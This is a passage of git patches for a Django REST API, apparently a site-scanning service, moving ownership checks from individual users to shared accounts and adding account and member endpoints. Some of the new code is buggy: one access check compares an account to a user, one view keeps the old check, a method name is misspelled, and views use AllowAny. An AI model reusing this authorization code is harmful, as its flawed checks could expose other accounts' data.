get_scan_lean(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + if scan.site.account != account: + data = {'reason': 'retrieve Scans of a Site you do not own'} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + # get lighthouse scores if exists try: lighthouse = {"scores": scan.lighthouse.get('scores')} @@ -801,9 +828,11 @@ def delete_scan(request, id): site = scan.site user = request.user + account = Member.objects.get(user=user).account + - if site.user != user: - data = {'reason': 'you cannot delete Scans of a Site you do not own',} + if site.account != account: + data = {'reason': 'delete Scans of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -818,6 +847,9 @@ def delete_scan(request, id): def delete_many_scans(request): ids = request.data.get('ids') + user = request.user + account = Member.objects.get(user=user).account + if ids is not None: count = len(ids) num_succeeded = 0 @@ -830,7 +862,7 @@ def delete_many_scans(request): for id in ids: try: scan = Scan.objects.get(id=id) - if scan.site.user == user: + if scan.site.account == account: scan.delete() num_succeeded += 1 succeeded.append(str(id)) @@ -863,6 +895,8 @@ def delete_many_scans(request): def create_or_update_schedule(request): + user = request.user + account = Member.objects.get(user=user).account account_is_active = check_account(request) if not account_is_active: @@ -872,16 +906,16 @@ def create_or_update_schedule(request): try: site = Site.objects.get(id=request.data.get('site_id')) - if site.user != request.user and site.user != None: - data = {'reason': 'you cannot create a Schedule of a Site you do not own',} + if site.account != account and site.account != None: + data = {'reason': 'create a Schedule of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) except: site = None try: schedule = Schedule.objects.get(id=request.data.get('schedule_id')) - if schedule.user != request.user and schedule.user != None: - data = {'reason': 'you cannot update a Schedule you do not own',} + if schedule.account != account and schedule.account != None: + data = {'reason': 'update a Schedule you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) except: @@ -1043,7 +1077,7 @@ def create_or_update_schedule(request): user=request.user, timezone=timezone, begin_date=begin_date, time=time, frequency=freq, task=task, crontab_id=crontab.id, task_type=task_type, - extras=extras + extras=extras, account=account ) schedule_new = Schedule.objects.get(id=schedule_id) else: @@ -1052,7 +1086,8 @@ def create_or_update_schedule(request): begin_date=begin_date, time=time, frequency=freq, task=task, crontab_id=crontab.id, periodic_task_id=periodic_task.id, - extras=extras + extras=extras, + account=account ) serializer_context = {'request': request,} @@ -1066,6 +1101,7 @@ def create_or_update_schedule(request): def get_schedules(request): user = request.user + account = Member.objects.get(user=user).account schedule_id = request.query_params.get('schedule_id') site_id = request.query_params.get('site_id') @@ -1078,8 +1114,8 @@ def get_schedules(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if schedule.site.user != user or schedule.user != user: - data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} + if schedule.site.account != user or schedule.account != account: + data = {'reason': 'retrieve Schedules of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -1097,8 +1133,8 @@ def get_schedules(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if site.user != user: - data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} + if site.account != account: + data = {'reason': 'retrieve Schedules of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -1116,6 +1152,7 @@ def get_schedules(request): def delete_schedule(request, id): + try: schedule = Schedule.objects.get(id=id) except: @@ -1126,9 +1163,10 @@ def delete_schedule(request, id): task = PeriodicTask.objects.get(id=schedule.periodic_task_id) site = schedule.site user = request.user + account = Member.objects.get(user=user).account - if site.user != user: - data = {'reason': 'you cannot delete Schedules you do not own',} + if site.account != account: + data = {'reason': 'delete Schedules you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -1147,6 +1185,8 @@ def delete_schedule(request, id): def create_or_update_automation(request): + user = request.user + account = Member.objects.get(user=user).account account_is_active = check_account(request) if not account_is_active: @@ -1158,14 +1198,14 @@ def create_or_update_automation(request): schedule = Schedule.objects.get(id=request.data.get('schedule_id')) try: automation = Automation.objects.get(id=schedule.automation.id) - if automation.user != request.user and automation.user != None: - data = {'reason': 'you cannot update a Automation you do not own',} + if automation.account != account and automation.account != None: + data = {'reason': 'update a Automation you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) except: automation = None - if schedule.user != request.user and schedule.user != None: - data = {'reason': 'you cannot create a Automation of a Schedule you do not own',} + if schedule.account != account and schedule.account != None: + data = {'reason': 'create a Automation of a Schedule you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) except: @@ -1187,7 +1227,7 @@ def create_or_update_automation(request): if not automation: automation = Automation.objects.create( name=name, expressions=expressions, actions=actions, - schedule=schedule, user=request.user, + schedule=schedule, user=request.user, account=account ) if schedule: @@ -1217,6 +1257,8 @@ def create_or_update_automation(request): def get_automations(request): automation_id = request.query_params.get('automation_id') user = request.user + account = Member.objects.get(user=user).account + if automation_id != None: try: automation = Automation.objects.get(id=automation_id) @@ -1225,8 +1267,8 @@ def get_automations(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if automation.user != user: - data = {'reason': 'you cannot retrieve an Automation you do not own',} + if automation.account != account: + data = {'reason': 'retrieve an Automation you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) serializer_context = {'request': request,} serialized = AutomationSerializer(automation, context=serializer_context) @@ -1246,6 +1288,9 @@ def get_automations(request): def delete_automation(request, id): + user = request.user + account = Member.objects.get(user=user).account + try: automation = Automation.objects.get(id=id) except: @@ -1253,8 +1298,8 @@ def delete_automation(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if automation.user != request.user: - data = {'reason': 'you cannot delete an automation you do not own',} + if automation.account != account: + data = {'reason': 'delete an automation you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -1275,6 +1320,9 @@ def delete_automation(request, id): def create_or_update_report(request): + user = request.user + account = Member.objects.get(user=user).account + report_id = request.data.get('report_id', None) site_id = request.data.get('site_id', None) report_type = request.data.get('type', ['lighthouse', 'yellowlab']) @@ -1296,9 +1344,16 @@ def create_or_update_report(request): data = {'reason': 'cannot find a Report with that id'} record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + + if report.account != account: + data = {'reason': 'update a Report you do not own'} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + else: report = Report.objects.create( - user=request.user, site=site + user=request.user, site=site, + account=account ) # update report data @@ -1325,6 +1380,8 @@ def create_or_update_report(request): def get_reports(request): site_id = request.query_params.get('site_id', None) report_id = request.query_params.get('report_id', None) + user = request.user + account = Member.objects.get(user=user).account if site_id: try: @@ -1333,7 +1390,7 @@ def get_reports(request): data = {'reason': 'cannot find a Site with that id'} record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - reports = Report.objects.filter(site=site, user=request.user).order_by('-time_created') + reports = Report.objects.filter(site=site, account=account).order_by('-time_created') if report_id: try: @@ -1360,6 +1417,8 @@ def get_reports(request): def delete_report(request, id): user = request.user + account = Member.objects.get(user=user).account + try: report = Report.objects.get(id=id) except: @@ -1367,8 +1426,8 @@ def delete_report(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if report.user != user: - data = {'reason': 'you cannot delete Reports you do not own',} + if report.account != account: + data = {'reason': 'delete Reports you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -1440,6 +1499,8 @@ def create_or_update_case(request): steps = request.data.get('steps') name = request.data.get('name') tags = request.data.get('tags') + user = request.user + account = Member.objects.get(user=user).account account_is_active = check_account(request) if not account_is_active: @@ -1455,8 +1516,8 @@ def create_or_update_case(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if case.user != request.user: - data = {'reason': 'you cannot retrieve Cases you do not own',} + if case.account != account: + data = {'reason': 'retrieve Cases you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) else: @@ -1470,7 +1531,8 @@ def create_or_update_case(request): user = request.user, name = name, tags = tags, - steps = steps + steps = steps, + account = account ) @@ -1485,6 +1547,9 @@ def create_or_update_case(request): def get_cases(request): case_id = request.query_params.get('case_id') + user = request.user + account = Member.objects.get(user=user).account + if case_id != None: try: case = Case.objects.get(id=case_id) @@ -1493,8 +1558,8 @@ def get_cases(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if case.user != request.user: - data = {'reason': 'you cannot retrieve an Case you do not own',} + if case.account != account: + data = {'reason': 'retrieve an Case you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) serializer_context = {'request': request,} @@ -1516,8 +1581,10 @@ def get_cases(request): def search_cases(request): + user = request.user + account = Member.objects.get(user=user).account query = request.query_params.get('query') - cases = Case.objects.filter(user=request.user, name__icontains=query).order_by('-time_created') + cases = Case.objects.filter(account=account, name__icontains=query).order_by('-time_created') paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(cases, request) serializer_context = {'request': request,} @@ -1529,6 +1596,9 @@ def search_cases(request): def delete_case(request, id): + user = request.user + account = Member.objects.get(user=user).account + try: case = Case.objects.get(id=id) except: @@ -1536,8 +1606,8 @@ def delete_case(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if case.user != request.user: - data = {'reason': 'you cannot delete an Case you do not own',} + if case.account != account: + data = {'reason': 'delete an Case you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -1560,6 +1630,9 @@ def create_testcase(request, delay=False): site_id = request.data.get('site_id') updates = request.data.get('updates') configs = request.data.get('configs') + user = request.user + account = Member.objects.get(user=user).account + account_is_active = check_account(request) if not account_is_active: @@ -1569,14 +1642,14 @@ def create_testcase(request, delay=False): if case_id and site_id: try: - case = Case.objects.get(id=case_id) + case = Case.objects.get(id=case_id, account=account) except: data = {'reason': 'cannot find a Case with that id'} record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) try: - site = Site.objects.get(id=site_id) + site = Site.objects.get(id=site_id, account=account) except: data = {'reason': 'cannot find a Site with that id'} record_api_call(request, data, '404') @@ -1646,7 +1719,8 @@ def get_testcases(request): testcase_id = request.query_params.get('testcase_id') site_id = request.query_params.get('site_id') lean = request.query_params.get('lean') - + user = request.user + account = Member.objects.get(user=user).account if testcase_id != None: try: @@ -1656,8 +1730,8 @@ def get_testcases(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if testcase.user != request.user: - data = {'reason': 'you cannot retrieve an Testcase you do not own',} + if testcase.account != account: + data = {'reason': 'retrieve an Testcase you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) serializer_context = {'request': request,} @@ -1668,7 +1742,7 @@ def get_testcases(request): if site_id != None: try: - site = Site.objects.get(id=site_id, user=request.user) + site = Site.objects.get(id=site_id, account=account) except: data = {'reason': 'cannot find a Site with that id'} record_api_call(request, data, '404') @@ -1676,7 +1750,7 @@ def get_testcases(request): testcases = Testcase.objects.filter(site=site).order_by('-time_created') else: - testcases = Testcase.objects.filter(user=request.user).order_by('-time_created') + testcases = Testcase.objects.filter(account=account).order_by('-time_created') paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(testcases, request) @@ -1691,6 +1765,9 @@ def get_testcases(request): def delete_testcase(request, id): + user = request.user + account = Member.objects.get(user=user).account + try: testcase = Testcase.objects.get(id=id) except: @@ -1698,8 +1775,8 @@ def delete_testcase(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if request.user != testcase.user: - data = {'reason': 'you cannot delete an Testcase you do not own',} + if testcase.account != account: + data = {'reason': 'delete an Testcase you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -1732,7 +1809,7 @@ def get_logs(request): if log_id != None: log = Log.objects.get(id=log_id) if log.user != request.user: - data = {'reason': 'you cannot retrieve Logs you do not own',} + data = {'reason': 'retrieve Logs you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) From da3a817638f1cedfb75877aa23c9c73055c45a45 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:03:49 -0500 Subject: [PATCH 217/277] added more services --- app/api/v1/auth/services.py | 79 ++++++++++++++++++++++++++++++++++++- app/api/v1/auth/urls.py | 7 +++- app/api/v1/auth/views.py | 16 ++++++-- app/api/v1/ops/views.py | 37 +++++++++++++---- 4 files changed, 126 insertions(+), 13 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 5f8fc963..71563f64 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -8,6 +8,7 @@ from django.core.exceptions import ValidationError from django.forms.models import model_to_dict from django.contrib.auth.models import User +from django.shortcuts import get_object_or_404 from rest_framework.authtoken.models import Token from ...models import Account, Card, Member from slack_sdk.oauth import AuthorizeUrlGenerator @@ -337,6 +338,55 @@ def create_or_update_account(request=None, *args, **kwargs): +def get_account(request=None, id=None, *args, **kwargs): + user = request.user + account_id = request.query_params.get('id') + + if id is not None: + account = get_object_or_404(Account, pk=id) + + if account_id is not None: + account = get_object_or_404(Account, pk=account_id) + + if account_id is None and id is None: + account = Member.objects.get(user=user).account + + if not Member.objects.filter(account=account, user=user).exists(): + data = {'reason': 'you cannot retrieve an Account you are not a member of',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def get_account_members(request=None, id=None, *args, **kwargs): + user = request.user + account_id = request.query_params.get('id') + mem_acct = Member.objets.get(user=user).account + + if id is not None: + account = get_object_or_404(Account, pk=id) + + if mem_acct != account: + data = {'reason': 'you cannot retrieve an Account you are not a member of',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + members = Member.objects.filter(account=account) + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(members, request) + serializer_context = {'request': request,} + serialized = MemberSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + return response + @@ -399,4 +449,31 @@ def create_or_update_member(request=None, *args, **kwargs): serialized = MemberSerializer(member, context=serializer_context) data = serialized.data response = Response(data, status=status.HTTP_200_OK) - return response \ No newline at end of file + return response + + + + +def get_member(request=None, id=None, *args, **kwargs): + user = request.user + member_id = request.query_params.get('id') + + if id is not None: + member = get_object_or_404(Member, pk=id) + + if member_id is not None: + member = get_object_or_404(member, pk=member_id) + + if member_id is None and id is None: + member = Member.objects.get(user=user) + + if member.user != user and member.account.user != user: + data = {'reason': 'you cannot retrieve a Member you are not affiliated with',} + record_api_call(request, data, '401') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = MemberSerializer(member, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) \ No newline at end of file diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py index ce9fa94b..f4a377a9 100644 --- a/app/api/v1/auth/urls.py +++ b/app/api/v1/auth/urls.py @@ -25,6 +25,11 @@ path('update-user', views.UpdateUser.as_view(), name='update_user'), path('slack', views.SlackOauth.as_view(), name='auth_slack'), path('token', views.ApiToken.as_view(), name='token'), - path('verify', views.Verify.as_view(), name='verify') + path('verify', views.Verify.as_view(), name='verify'), + path('account', views.Account.as_view(), name='account'), + path('account/', views.Account.as_view(), name='account-detail'), + path('account//members', views.AccountMembers.as_view(), name='account-members'), + path('member', views.Member.as_view(), name='member'), + path('member/', views.Member.as_view(), name='member-detail'), ] \ No newline at end of file diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index 5109362e..ad27ba1c 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -232,12 +232,20 @@ def post(self, request, *args, **kwargs ): response = create_or_update_account(request) return response - def get(self, request, *args, **kwargs): - response = get_account(request) + def get(self, request, id, *args, **kwargs): + response = get_account(request, id) return response +class AccountMembers(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get',] + + def get(self, request, id, *args, **kwargs): + response = get_account_members(request, id) + return response + class Member(APIView): permission_classes = (AllowAny,) @@ -247,8 +255,8 @@ def post(self, request, *args, **kwargs ): response = create_or_update_member(request) return response - def get(self, request, *args, **kwargs): - response = get_member(request) + def get(self, request, id, *args, **kwargs): + response = get_member(request, id) return response diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 792336b1..2bc92ea0 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -39,7 +39,9 @@ class SiteDetail(APIView): def get(self, request, id): site = get_object_or_404(Site, pk=id) - if site.user != request.user: + user = request.user + account = Member.objects.get(user=user).account + if site.account != account: data = {'reason': 'you cannot retrieve a Site you do not own',} record_api_call(request, data, '401') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -96,7 +98,10 @@ class ScanDetail(APIView): def get(self, request, id): scan = get_object_or_404(Scan, pk=id) - if scan.site.user != request.user: + user = request.user + account = Member.objects.get(user=user).account + + if scan.site.account != account: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -163,7 +168,10 @@ class TestDetail(APIView): def get(self, request, id): test = get_object_or_404(Test, pk=id) - if test.site.user != request.user: + user = request.user + account = Member.objects.get(user=user).account + + if test.site.account != account: data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -229,7 +237,10 @@ class ScheduleDetail(APIView): def get(self, request, id): schedule = get_object_or_404(Schedule, pk=id) - if schedule.site.user != request.user: + user = request.user + account = Member.objects.get(user=user).account + + if schedule.site.account != account: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -268,6 +279,9 @@ class AutomationDetail(APIView): def get(self, request, id): automation = get_object_or_404(Automation, pk=id) + user = request.user + account = Member.objects.get(user=user).account + if automation.user != request.user: data = {'reason': 'you cannot retrieve Automations you do not own',} record_api_call(request, data, '403') @@ -307,7 +321,10 @@ class ReportDetail(APIView): def get(self, request, id): report = get_object_or_404(Report, pk=id) - if report.user != request.user: + user = request.user + account = Member.objects.get(user=user).account + + if report.account != account: data = {'reason': 'you cannot retrieve Reports you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -359,7 +376,10 @@ class CaseDetail(APIView): def get(self, request, id): case = get_object_or_404(Case, pk=id) - if case.user != request.user: + user = request.user + account = Member.objects.get(user=user).account + + if case.account != account: data = {'reason': 'you cannot retrieve Cases you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -406,7 +426,10 @@ class TestcaseDetail(APIView): def get(self, request, id): testcase = get_object_or_404(Testcase, pk=id) - if testcase.user != request.user: + user = request.user + account = Member.objects.get(user=user).account + + if testcase.account != account: data = {'reason': 'you cannot retrieve Testcases you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) From 12f6f7abd3ebe3bb3dd550abd5718b3fb7794986 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:23:31 -0500 Subject: [PATCH 218/277] issues --- app/api/models.py | 31 +++++++++++++++---------------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/app/api/models.py b/app/api/models.py index 940b3e46..fb20f3d6 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -310,22 +310,6 @@ def __str__(self): -class Member(models.Model): - id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) - user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True) - email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin - status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client - time_created = models.DateTimeField(default=timezone.now, serialize=True) - - def __str__(self): - return f'{self.user.email}__{self.account.name}' - - - - - class Card(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) @@ -342,6 +326,21 @@ def __str__(self): +class Member(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin + status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client + time_created = models.DateTimeField(default=timezone.now, serialize=True) + + def __str__(self): + return f'{self.user.email}__{self.account.name}' + + + + class Schedule(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) From f27e42127db7490ab884524c95c1431f0a4cb8d1 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:25:38 -0500 Subject: [PATCH 219/277] fixed issues --- app/api/models.py | 105 +++++++++++++++++++++++----------------------- 1 file changed, 53 insertions(+), 52 deletions(-) diff --git a/app/api/models.py b/app/api/models.py index fb20f3d6..45b10b99 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -230,6 +230,59 @@ def get_tags_default(): +class Account(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + active = models.BooleanField(default=False, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + code = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + max_sites = models.IntegerField(serialize=True, null=True, blank=True) + cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default) + + def __str__(self): + return self.user.email + + + + +class Card(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) + pay_method_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + brand = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + exp_month = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + exp_year = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + last_four = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + + def __str__(self): + return self.user.email + + + + +class Member(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin + status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client + time_created = models.DateTimeField(default=timezone.now, serialize=True) + + def __str__(self): + return f'{self.user.email}__{self.account.name}' + + + + + class Site(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) @@ -289,58 +342,6 @@ def __str__(self): -class Account(models.Model): - id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) - active = models.BooleanField(default=False, serialize=True) - time_created = models.DateTimeField(default=timezone.now, serialize=True) - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - code = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - max_sites = models.IntegerField(serialize=True, null=True, blank=True) - cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default) - - def __str__(self): - return self.user.email - - - - -class Card(models.Model): - id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) - account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) - pay_method_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - brand = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - exp_month = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - exp_year = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - last_four = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - - def __str__(self): - return self.user.email - - - - -class Member(models.Model): - id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) - user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True) - email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin - status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client - time_created = models.DateTimeField(default=timezone.now, serialize=True) - - def __str__(self): - return f'{self.user.email}__{self.account.name}' - - - - class Schedule(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) From c61a05f4d86796004ae23bfafe59725a0447d7b5 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:31:12 -0500 Subject: [PATCH 220/277] added Member to admin view --- app/api/admin.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/app/api/admin.py b/app/api/admin.py index 17e0e439..1a2de16d 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -29,6 +29,11 @@ class AccountAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'type') search_fields = ('__str__',) +@admin.register(Member) +class MemberAdmin(admin.ModelAdmin): + list_display = ('user', 'account__name', 'time_created', 'type', 'status') + search_fields = ('user__username', 'account__name') + @admin.register(Card) class CardAdmin(admin.ModelAdmin): list_display = ('__str__', 'brand', 'last_four') @@ -54,18 +59,15 @@ class AutomationAdmin(admin.ModelAdmin): class ProcessAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'successful') - @admin.register(Case) class CaseAdmin(admin.ModelAdmin): list_display = ('__str__', 'user', 'time_created',) - @admin.register(Testcase) class TestcaseAdmin(admin.ModelAdmin): list_display = ('__str__', 'user', 'time_created', 'time_completed',) - @admin.register(Mask) class MaskAdmin(admin.ModelAdmin): list_display = ('__str__', 'mask_id', 'active', 'time_created',) From 633afe2534996fed7a5e6f5f4b3ded1606ce2e8c Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:34:38 -0500 Subject: [PATCH 221/277] cleaning things up --- app/api/admin.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/app/api/admin.py b/app/api/admin.py index 1a2de16d..942ead62 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -8,11 +8,13 @@ class SiteAdmin(admin.ModelAdmin): list_display = ('site_url', 'user', 'time_created') search_fields = ('site_url',) + @admin.register(Test) class TestAdmin(admin.ModelAdmin): list_display = ('id', 'site', 'time_created', 'time_completed', 'type') search_fields = ('site',) + @admin.register(Scan) class ScanAdmin(admin.ModelAdmin): list_display = ('id', 'site', 'time_created', 'time_completed') @@ -23,46 +25,54 @@ def mark_as_completed(self, request, queryset): queryset.update(time_completed=datetime.now()) - @admin.register(Account) class AccountAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'type') search_fields = ('__str__',) + @admin.register(Member) class MemberAdmin(admin.ModelAdmin): list_display = ('user', 'account__name', 'time_created', 'type', 'status') search_fields = ('user__username', 'account__name') + @admin.register(Card) class CardAdmin(admin.ModelAdmin): list_display = ('__str__', 'brand', 'last_four') search_fields = ('last_four',) + @admin.register(Report) class ReportAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'user') + @admin.register(Log) class LogAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') + @admin.register(Schedule) class ScheduleAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') + @admin.register(Automation) class AutomationAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'schedule', 'user') + @admin.register(Process) class ProcessAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'successful') + @admin.register(Case) class CaseAdmin(admin.ModelAdmin): list_display = 